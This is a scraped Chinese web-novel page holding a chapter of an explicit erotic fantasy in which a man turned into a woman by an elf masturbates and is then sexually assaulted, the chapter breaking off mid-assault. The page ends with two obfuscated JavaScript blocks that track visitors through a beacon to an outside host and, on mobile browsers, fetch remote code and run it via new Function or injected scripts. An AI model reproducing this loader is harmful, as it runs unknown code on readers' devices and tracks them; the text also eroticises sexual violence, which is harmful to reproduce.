我俩沉默下来,来龙去脉大概都了解了,趁魔王还没到,我得先想清楚有哪些要先准备的,但是在这之前……我腼腆地看着丽兹说:“丽兹……我……我想尿尿……”丽兹没料到我竟会问这种问题,她吃吃地笑着说:“去啊,虽然有点麻烦,爬下树梯随便找个地方就行了,我这没人敢来的。”我咬着牙,羞红了脸,指着自己的下体说:“问题是,我不知道这样怎么尿啊!”“哈哈,原来……”丽兹毫不客气地笑着,虽然这样是很好啦……我不再觉得丽兹难以亲近,但太羞了……丽兹好不容易止住笑后说:“你以前当男孩子时都站着尿尿,女生要蹲着,不然会弄脏的。”“蹲着……这样吗?”我在床上做了个动作给丽兹看。

“对对,就是这样,还有……”丽兹靠过来,她的动作吓了我一大跳,她直接把两根手指放在我的秘处说:“嗯,这个叫做阴唇,你的很漂亮喔。阴唇有保护的作用,有时候会稍微黏在一起。来……小便的时候,你最好用手这么分开,才不会不小心弄湿自己……”丽兹的触碰总是让我觉得舒服,她看我没说话,便说道:“这样吧,我跟你去教你……”“不用了……我自己试试看!”我笑着跳下床,其实我是太舒服了,恨不得丽兹多摸一会儿。

我踩踩地板,颇有新生的感觉,变成女人果然大不相同,我觉得身体好轻,但胸部饱实,丰满的乳房夸张地上下晃了好久,丽兹的魔力果然厉害……我回头对着丽兹眨眼说:“我应该自己学,你说对吧?”说完我便一熘烟跑出树洞,其实我在掩饰自己可能忍不住会想要的冲动……我们瓦德村地处森林边陲,离附近的大城还有段距离,祖先大约六百年前来此开垦,我想他们的运气不太好,至今这里仍未繁盛起来,村民也懒得千里迢迢到大城谋生活。

不过我或许就要远行了……想起丽兹告诉我的魔王威尔腾,我连他的名字都是第一次听到,对他唯一的认识就是邪恶,还有高超的性能力,真是可笑……腹部以下升起莫名的空虚,我居然变成了女人,而且第一次经验还是和女精灵,而她要把我送去侍奉魔王……丽兹说女人的快感比男人还刺激,她刚刚转换人格的瞬间,一直强调我会爱死魔王……我闭上眼睛想入非非,我会跟别的男人那个吗?手指和阴茎差很多啊……但是……会不会比丽兹给我的更舒服?

我捧着脸颊,体温好高,我是男人啊,怎么一直想这种事情?我连心理也像女人了吗?我现在的动作的确很女性化,丽兹的魔法影响这么大?我碰触乳房和私处,感觉快尿出来了,这才确定自己不是在做梦,得赶快解放才行。

我裸身走进树林里,月光下,景观有点像沼泽,积水盈尺。我小心避开大水坑,洪水看来已退去了,地面上杂乱的积物可以想像当时的景况。水坑里的水很清澈,雨应该停了好几天,大地开始在休生养息。

我的视线似乎有些改变,我走到一棵树旁,抚摸着熟悉的树皮与瘤结,过了一会儿我才搞懂,原来我变矮了,难怪看东西的视线不一样!丽兹既然能把我变成女人,这也没什么好奇怪的,想当然尔,我手上的厚茧也完全消失了,手心细嫩,像是从来没吃过苦一样。

我找了一处小水塘,舀水拍打私处,刚刚被丽兹弄得潮水泛滥,残渍干掉后有点紧绷,而且那里第一次被插入,现在感觉很怪,而且痛痛的。

因为不习惯乳房的存在,以致于没有留意,蹲下时,乳房被身体和大腿用力挤压,痛得我直流泪,一屁股坐在湿地上,胸部以奇妙的轨迹绕圈晃动。我含泪揉揉乳房,我的胸部还真大,手掌没法握住,跟以前比真是差太多了,或许跟我手变小也有关系吧!

我狼狈地再次蹲好,这次我把腿张得比较开,胸部被两腿夹在中间,形成深深的乳沟,也把我的视线挡住了。我苦笑着摸索着下体,照丽兹教的寻找阴唇。

我想到每次村里女孩参加市集时,都会穿着半露酥胸的诱人衣服,好让男人可以看到她们的乳沟,借此增加吸引异性的机会。

我陪洛德偷看过村里女孩换衣服,她们换衣服时都要把胸部束紧,挤出来的乳房形状才会好看。再看看我自己,我这对乳房比大多数女孩要小一点,不过也很丰满了,不知道是因为比较小才没有下垂,还是因为刚变成女人,胸型才这么漂亮呢?

我感到有点得意,酥白的胸脯被压得很满足,让我有点喘不过气,又像是自发地想呻吟……我的手在腿间阴毛中摸索,摸到两片柔软的肉时,便小心翼翼地分开它们。

“这里吗……啊……嗯嗯……”我闭着眼睛强忍,不小心哼出声来,再往里摸有些湿滑。胸部挡住我的视线,想看清楚得把腰弯得更下去,但现在没空,我已经快受不了了,尿水从私处激射而出,声音很大。

“唿……终于……尿尿的感觉也和男人不一样……”我心想,突然发现身前的水洼映出了我的倒影。

“这……这是我吗……好漂亮……”我惊讶地轻唿,清澈的水面映出自己,依稀可分辨出我原本的相貌,虽然我本来长得就不粗犷,但脸部线条更柔润了,五官也细致许多。我将满十九岁,水面上的女孩看起来年纪要小一些,是性别的关系吗?我眨眨眼睛,她也眨了眨,晶莹可爱的双眼看起来好诱人。

水中女孩的姿势让我羞得无地自容,因为那是我自己!我的大腿张开,和手臂一起把乳房围捧起来,白晰的腹部以下,熟悉的阳具已经不在了,取而代之的是一片平坦,腿根往上形成我曾幻想无数次的倒三角形,稀疏的阴毛生长于上,又往下围住嫩红色的细缝,我的左手中食指撑着两片肉瓣,弧度优美的水线从其间源源不绝地射出。

“好……好色……啊啊……啊……好色喔……”我胀红了脸,无法移动,不然就会失去平衡跌倒。我维持着这种色情的姿势,目不转睛地看着自己,足足尿了一分多钟,等下腹部的饱胀感消失后,我无力地仰天瘫坐,双腿张开,恍惚失神,一方面是因为解放的舒爽,一方面是被自己的模样给刺激的。

等力气和心情慢慢恢复后,我挣扎着爬起身,脸热得发烫,头有点晕晕的,刚刚那个情境我怎么都忘不掉。

我拍掉屁股和后腿上的泥巴,皮肤弹性迥然不同,我的臀部变得丰润紧挺,肌肤细致,臀部延伸而下的曲线玲珑有致,双腿秾纤合度,腿毛也消失了。

屁股变大,腰却变细了?我将手放在腰肢上,好奇地扭摆,我的腰瘦了好几寸,难怪身体轻盈许多,我的纤腰像水蛇般灵活,扭动的同时,胸部还不听话地摇动着。

我走向较大的水塘,想要洗去身上的污泥,我一边走着,一边捧起乳房,用双手感受着重量。

“好沈啊……”我喃喃自语,手轻轻甸着,乳波随之荡漾,看起来真是有趣极了。我走入池水,看着自己的倒影,除了杂乱的中长发像个野男孩之外,怎么看都是个诱人的青春少女。就算对我再熟悉的朋友,现在看到我,恐怕只会觉得我和他们认识的比尔长得有点像罢了。

我抚摸着乳房思索,突然感到一阵酥麻,低头一看,原来我不经意碰到了乳尖。我的乳头变得大多了,看上来有点粗糙,真是怪异,我又好奇地碰了一下,没想到那边好敏感。

“嗯……”我用手指再搔弄几下,粉红色的乳头稍往内陷,颜色淡红的圆圈围在乳头外,上面也有些花蕊似的微凸斑点,我轻轻抚弄,感觉非常舒服,酥痒让我忍不住轻哼:“怎么这么……嗯……这是乳晕吧……颜色好淡……嗯……跟我……看过的不太一样……嗯嗯……”我捧着乳房,因为腿软而慢慢蹲了下来,我弯腰看着水面,私处清楚地被月光反照在水面。

“原来可以这样,嗯……好……我……我观察一下……”下身感觉怪怪的,我害羞又好奇地用手一摸:“啊……这……这就是女人的……啊啊……怎么……怎么湿湿的……唔……”我的手并没有沾到水啊,那液体有点黏黏的。

“啊……啊啊……好舒服……嗯……呀……怎么……越来越湿了……嗯……好舒服啊……”我一手抚摸着乳头和乳晕,手掌顺势揉着胸部,另一只手轻轻放在阴唇之上,湿滑的液体让我的手指陷进阴唇之间。

“好温暖……唔……唔……好湿……怎么……这……这是女人吗……唿……唿……啊……”手指陷入后,我轻轻揉动起来,并没有人教我,只因为这样让我觉得舒服。快感升了起来,我想到以前自慰时,即使还没射精,龟头前端也会冒出透明的黏液,女人兴奋时也一样吗?

我耽溺于快感中,丽兹的技巧我一时还揣摩不出来,但我可以看着水面的倒影,借由视觉弥补些许不足,但我还是觉得不够。我试着把手指伸进裂缝中,但不是觉得疼痛,就是不顺畅,无意间我的指节摩擦到肉缝的顶端,巨大的刺激害我差点跌进水里。

“这……啊……我的心跳……差……差点停了……啊……嗯……”我娇声喘息着,低头察看刚才碰到什么地方,罪魁祸首是阴唇合拢处的一块突起物。

我不信邪,用力搓了搓,像是被蛇咬中一样,刺麻的快感震得我哀叫连连,抽搐地发抖,久久才平复过来。“太刺激了……呜呜……啊……感觉……像龟头……但……但更敏感……嗯……”这次我学乖了,因为那块小突起位于阴唇开口连接之下,连接处刚好形成保护的肉膜,我小心地按住稍高的位置,慢慢往上拉,虽不是看得很清楚,但可以看见一颗小小圆滑的头露了出来。

“这就是阴蒂吗……嗯……”我用指尖轻轻按住,虽然直接接触的感觉很刺激,但不会那么猛烈了,快感迅速升了上来,当时丽兹舔的就是这里。

“嗯……喔……喔喔……好酥……酥……酥透了!啊啊……这里好舒服……唔……嗯……嗯嗯……好神奇……女人……啊……这是我吗?我……这是我……啊啊……”我无暇再看自己的淫态,因为我能让自己很舒服了,我侧卧在浅水中,双腿r夹紧手指挤压阴蒂,再配合屁股的摇动,摩擦的快感和刚刚与众不同,没多久我就开始抽搐,身体无法控制地颤抖。

“好奇怪……不……啊啊……怎么不一样……啊……自己弄……是这种感觉吗?唔哇啊啊……”我埋首颤动着,一波波冲击随我夹捏阴蒂的动作汹涌袭身。

“高……高潮了……唔……啊……啊啊……好棒……好棒啊……怎么会这么棒……不行了……啊……不行了……啊啊……哇啊啊啊……”我倒在水中,颤抖扰起水波,我的肌肤变得极度敏感,全身上下神经的感应都被放大好多倍,每当水波打回来,我就又被刺激一次,即使手指早已松开,大腿也无力再夹紧,高潮仍与水波一起共鸣、共震……“好幸福……呜呜……好舒服……呜呜……”我蒙着脸哭着,觉得自己真没用,我还想变回男人吗?我好怀疑啊……失神了许久后,我爬进水坑彻底洗净自己,冷水让我慢慢镇定下来,体温好似也没那么高了,我抖干水珠,依旧裸着身子往树屋走回去,这一天真是太奇异了,彷佛像场梦,却不知道是恶梦,还是美梦……如果是男人的话,短时间一两次高潮大概就是极限了;而我从醒来以后已经好几次了,女人真奇特……啊啊啊!我没有办法对自己说谎,女人的感觉好美妙啊!

走进树屋里,丽兹正等着我,她搬了把椅子,拉着我坐在椅子上,脸有点红地说:“你喔!变成女人怎么也一样……”我知道她指什么,低着头不敢乱动,我就是好色,怎么样嘛!

“我知道你在想什么……对不起,我不该怪你的,我救你时,两个我都给了你一样……”丽兹好像突然觉得不对,没有继续说下去。

“嗯,什么?”我转头看着她,充满疑问,她说的我完全听不懂。

“没什么……以后……我找机会再告诉你。”丽兹对我微笑,她耳朵同时动了好几下,让我觉得她好像对我隐瞒了什么。不过丽兹很快转开话题说:“来,我帮你修修头发,你的头发太乱了,我帮你修好看一点,以后留长以后,一定是个美人呢!如果你不嫌弃的话,等等我给你找些旧衣服穿,不过有些东西你要自己去买。还要帮你取个好听的名字……”“名字?”我一时没搞清楚状况,脱口重复丽兹说出来的字眼,当听到自己的脆软的声音时,我马上就意会丽兹的意思了。

“你总不能还用男人的名字吧?”丽兹清朗地笑着,摸摸我的头说:“你们人类和我们精灵不一样喔,你们女性臀部比较丰满,每个月还会有月经,月经来会流血,你不会吓得昏倒吧?嘻嘻,不知道你的哪天会来,我有点兴奋喔!”我听剪子喀滋喀滋作响,发着呆,什么也不想,丽兹却显出她多话的一面,滔滔不绝地说着,像是个自己女儿进入青春期的母亲,有好多事忙着交代似的。

在这样的气氛下,我觉得很有趣,也很满足,心思柔软地听丽兹说话,彷佛我本来就是个女孩子。

丽兹纯真个性出现时真是判若两人,她用银铃般的声音笑着说:“刚刚说要买的东西就是月经布啦,还有一些女人要用的东西,我们精灵没那么麻烦。我不能陪你去啦,你要自己去买,因为你们村里的人会排斥我啊。还有还有,我跟你说喔……”我起床时,头一件事就是掀开衣服,动作使衣服磨擦到乳头时,我已知道不是作梦了,因为敏锐的反应无可取代。看着丰满的双峰与肥润的私处,我想起昨晚和丽兹聊到好晚,后来我大概煳里煳涂地睡着了,身上的衣服是丽兹帮我换的吧。

天已亮,我穿着连身长裙,里头只有一件很紧的内裤,应该都是丽兹的吧。

生平第一次穿裙子,我敏感地吞口水,没有喉结,还有大腿间空气的流动,感觉真是奇特。由于是粗麻布料,很容易摩擦到乳头,让我一直起鸡皮疙瘩。

丽兹要我去买自己的内衣,她告诉我,内衣不合对女孩子不好,而我的臀围穿不下她的内裤。还有月经布,没想到自己要用到,到时候还会流血,光想到我就觉得怕怕的。

我步出树屋,赤脚爬下树梯,丽兹站在空地上对我喊道:“小琳……你起床啦……我在这里……”阳光穿透枝叶洒下,在她周身拱出光环,丽兹穿着鹅黄色的长裙,嫩白的手在空中挥舞,划下朦胧的光影。精灵真是美丽,我何能有幸与丽兹相处。

但丽兹帮我取的名字真的让我很不习惯……我现在柔弱多了,因为怕受伤,走起路来有些扭捏,好不容易走到丽兹旁,看她笑眯眯的,我抬头用清脆的声音抗议:“叫我比尔啦,怪不习惯的。”“不行……别嘟着嘴嘛,雅琳这名字很好听啊,你看起来是个可爱的小女生呢!”经她一讲,我才知道自己无意间嘟着嘴,羞得我低下头来,被用“你”来称唿,让我产生错觉,好像自己本来就是女孩。昨晚我问她,既然她这么厉害,能不能把我变回男人,丽兹的回答让我失望了,既然没有办法,只好先习惯当个女孩吧!

雅琳是我的新名字,精灵这个赐名很优雅,为何我会发窘呢?难道我只是嘴硬,心里却喜欢……精灵身材修长,原本我跟她差不多高,现在却矮了一个头,所以我必须仰头才能看着她的脸。她见我盯着她,歪了歪头,伸出双手抱住我,我的脸贴在她柔软的胸脯上,听她轻缓的心跳,顿时感到心安。

“我很喜欢你,只想救你,对不起……”丽兹轻抚我的发缘,她不但帮我修了头发,还为我削了一点浏海,她说等留长了会很秀气,正像她给我取的名字。

我心情起伏,把脸埋在丽兹的胸上悄声说:“伊丽儿……我会怕……”丽兹让我乖顺地靠着,轻轻按摩我的颈子,说:“女人是很坚强的,即使害怕,也一定能渡过的。”我胸口一阵潮涌,不知为何竟流下泪来。是啊,我是女人了,我要好好的撑着……“我的乖雅琳,别哭了,趁天色还早,赶快回村里买东西吧,有空就去看看你的家人,别太晚回来,村里有点乱,我怕你遇到危险。”“嗯……”我泪眼汪汪地看着丽兹。坦然面对后,自己真的有点女人味了,举手投足之间,女人的本能指引着自己,虽然还有点不习惯,遇到生理反应时,比较不会觉得羞耻了。

我点点头,擦干眼泪,丽兹陪我走到小路上才与我挥手道别。我和她约好,在太阳落到最高的树顶前回来,便沿着残破的小路走回村庄。

乳房成了负担,我得稍微驼背才不会胸闷,衣服的摩擦不断考验着我的忍耐力,我恨不得脱光衣服,逃避蠢蠢欲动的快感,不仅是胸部,太紧的内裤也让我举步维艰。我咬着牙蹒跚走着,等买了贴身衣物就会好多了吧!

熟悉的回程竟如此漫长,以前我迈步的距离,现在得走上两步,肌力也大不如前,一路上走走停停,双腿发麻,过了正午才回到村里。

家园的破败令我憷目惊心,村口树木成排倾倒,一踏进村子,推车上堆满发黑的牲口,扑鼻的恶臭迎面而来。丽兹说村里死了人,大概是下葬后,才有办法处理这些可怜的动物吧!

许多村民开始铺瓦补屋,有些人好奇地打探我,被人群注视的感觉让我很不好意思,所幸他们很忙,所以只看了几眼便回到工作上。不知为什么,我的心噗通噗通狂跳,除了长身裙外,我里头几乎没穿,尤其是男性,当他们把目光投向我时,我觉得自己跟裸体一样,有点羞又有点兴奋。

“那位美丽的女孩……嘿!就是你!”我正兴奋着,好不容易才搞清楚那熟悉的声音是冲着我来的,回头一看,原来是洛德推开路人往我跑来。

“哈,洛……”我刚开口,隐然觉得不对,赶忙住口,我现在是雅琳,洛德根本不认识我……我转身低头继续走,洛德却拦住了我,轻浮地说:“你声音真好听,我叫洛德。你是外地来的吧?村里刚淹水,你打哪儿来的?”“我……”我踌躇着,无法鼓起勇气开口,便想推开他往裁缝店走。

“认识一下嘛,小美人……”洛德拉住我,手还趁机往我胸口摸了一把,吓了我一大跳!

我听他不怀好意地笑着,红着脸甩开了他的手,叫道:“你……你……你干嘛……”我晓得他在笑什么,他捏了一下,当然知道我里头没穿。

“好凶啊……有什么关系,美女要温柔点啊……”我又羞又愤,本能地踱着脚,大吼道:“我是哈维尔的侄女,小心他找你算帐!”我知道我的声音只会让男人更亢奋,但哈维尔老先生是有名的坏脾气,应该可以吓阻洛德才对。

“好好好,小姐请……”果然,洛德投降地往后退了一步,我懒得再理他,提着裙子快步离开。

蓝礼先生在屋外忙,我走进裁缝店,他太太热情地招唿我,我说明来意后,蓝礼太太马上为我量身,拿出各式内衣要我试穿。生面孔在我村里不被盘问是很难得的,由于村中遭受巨变,我才这么快到达目的地,也省了许多麻烦,但现在我得买东西,自然躲不过蓝礼太太了。

我怕吓到蓝礼太太,没有再说我是哈维尔的侄女。蓝礼太太很憨直,不会追根究底,我随口瞎掰,然后叉开话题,跟她偷学点女性的知识,顺便提起我要买月事用的物品。

蓝礼太太捧着我的乳房,不断称赞我身材姣好,丰满有型,她说得起劲,我满脸通红,水灾后村中一片混乱,所以我没穿内衣没有引起蓝礼太太好奇。她接着帮我量臀围,好心地为我挑选,而我当然是裸体的。

心情真是复杂,在女人前裸体,而我现在也是女人……在微妙的气氛下,我用丽兹给我的饰品换了两套内衣。我也不懂,都让蓝礼太太挑,她硬是塞给我一套重点部位洞开的内衣裤,说什么我这样漂亮的女孩一定用得到。我敬谢不敏,赞美却让我飘飘然的,蓝礼太太说就当是送我的,我只好难为情地接受了。

月经布原来只是块剪裁的布,布料吸收力强而已,真像小孩子的尿布……“女人真麻烦……”我叹了口气,买完东西后,我熘回家,躲在附近的废屋旁偷偷窥视。家人看起来都好,老爸受了轻伤,还好他爽朗地笑着,我心也放下一大半,妈妈抱着小我十岁的妹妹在门前坐着,不时念着比利,比利不小心拿铁锤敲到自己,我噗嗤笑了出来,比利都十五了,个性还是那么浮躁……看着看着,心里有点酸楚,反正现在不能见面,看了只会让自己伤心,还是早点回去吧……穿上内衣裤后,胸部不再累赘地晃动,也不会磨到乳头了,加上合身的内裤,回程应该可以减少一半的时间。

我正想从废屋另一头绕出去,冷不防被人从后面捂住口,拖进废屋中,我挣扎着,被蒙住的嘴只能发出“唔唔”的声音,那家伙撩起我的长裙,下阴突然一阵寒凉,原来他熟练地把我的内裤卷到大腿上了。接着他又扒开我的内衣,我的乳房弹了出来,他按着我被解放的乳房,害我浑身酥软,无力地靠在他身上。

我趁意识还清醒,张嘴猛咬,那人哀声大叫,从我身旁跳开,在墙边跳脚,借着破洞穿进的阳光,我看清那人的脸。

“洛德?救……救命啊啊啊……”我本能地放声大叫,要是以前,我可以出拳揍过去,但我现在是个纤弱的女人,只能缩着身子往后躲。

“臭……臭娘们……敢咬我!”洛德恶狠狠地瞪着我,如野兽般扑过来,他扯住我的裙角往上猛掀,扭成布卷缠住我腰臀,压着我问:“你怎么知道我的名字?”我不要被强暴……我放声大叫,洛德甩了我一巴掌,我登时头昏脑胀,声音卡在喉咙里。被裙子缠住的我只能软弱地蹬腿挣扎,毫无威胁性,洛德有力地推开我的大腿,左手直接伸向我腿间抠弄起来。

粗鲁的动作使我吃痛皱眉,我想打洛德,纤细的手被他接个正着,他笑道:

“认了吧,没人听得见,我会让你爽的!”他整个人压在我上,他的体味和丽兹有天壤之别,害我差点反胃,我撇开头,闭着眼睛咬牙说:“走开!不然……不然我跟我伯父说……跟菲妮丝说……走开啊!”“你怎么也知道菲妮丝?”洛德露出畏怯的表情,菲妮丝是他的女朋友,我们以前都笑洛德生性风流,却被泼辣的女人拴住了,没想到我现在要搬菲妮丝出来当救兵……情急之下捅出更大的破绽,我无法解释,只能沉默地看着他。

但……他的手指开始缓缓动起来了,他恢复好色的表情,贴着我的脸舔着舌头说:“不说是吗?那我就好好吊你的胃口,看你说不说……”“不……不要……啊……啊……”我屈着腿挣扎,反而不小心让他磨到我的阴蒂,好不容易有点力气,这下又全失掉了。

洛德有机可乘,得寸进尺,我感到他的手指沿阴唇上下摩擦,不时轻拨我的肛门和阴蒂。刚刚洛德的粗鲁使我又惊又怕,所以全身僵硬;后来我以为菲妮丝可以吓退他,心情稍有松懈。洛德本来经验就很丰富,以为可以松口气的我被他这么熟练地爱抚,情


上一篇:终极幻想之武侠爽文 性骚扰王语嫣

下一篇:小霞的猎魔游记1-2


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};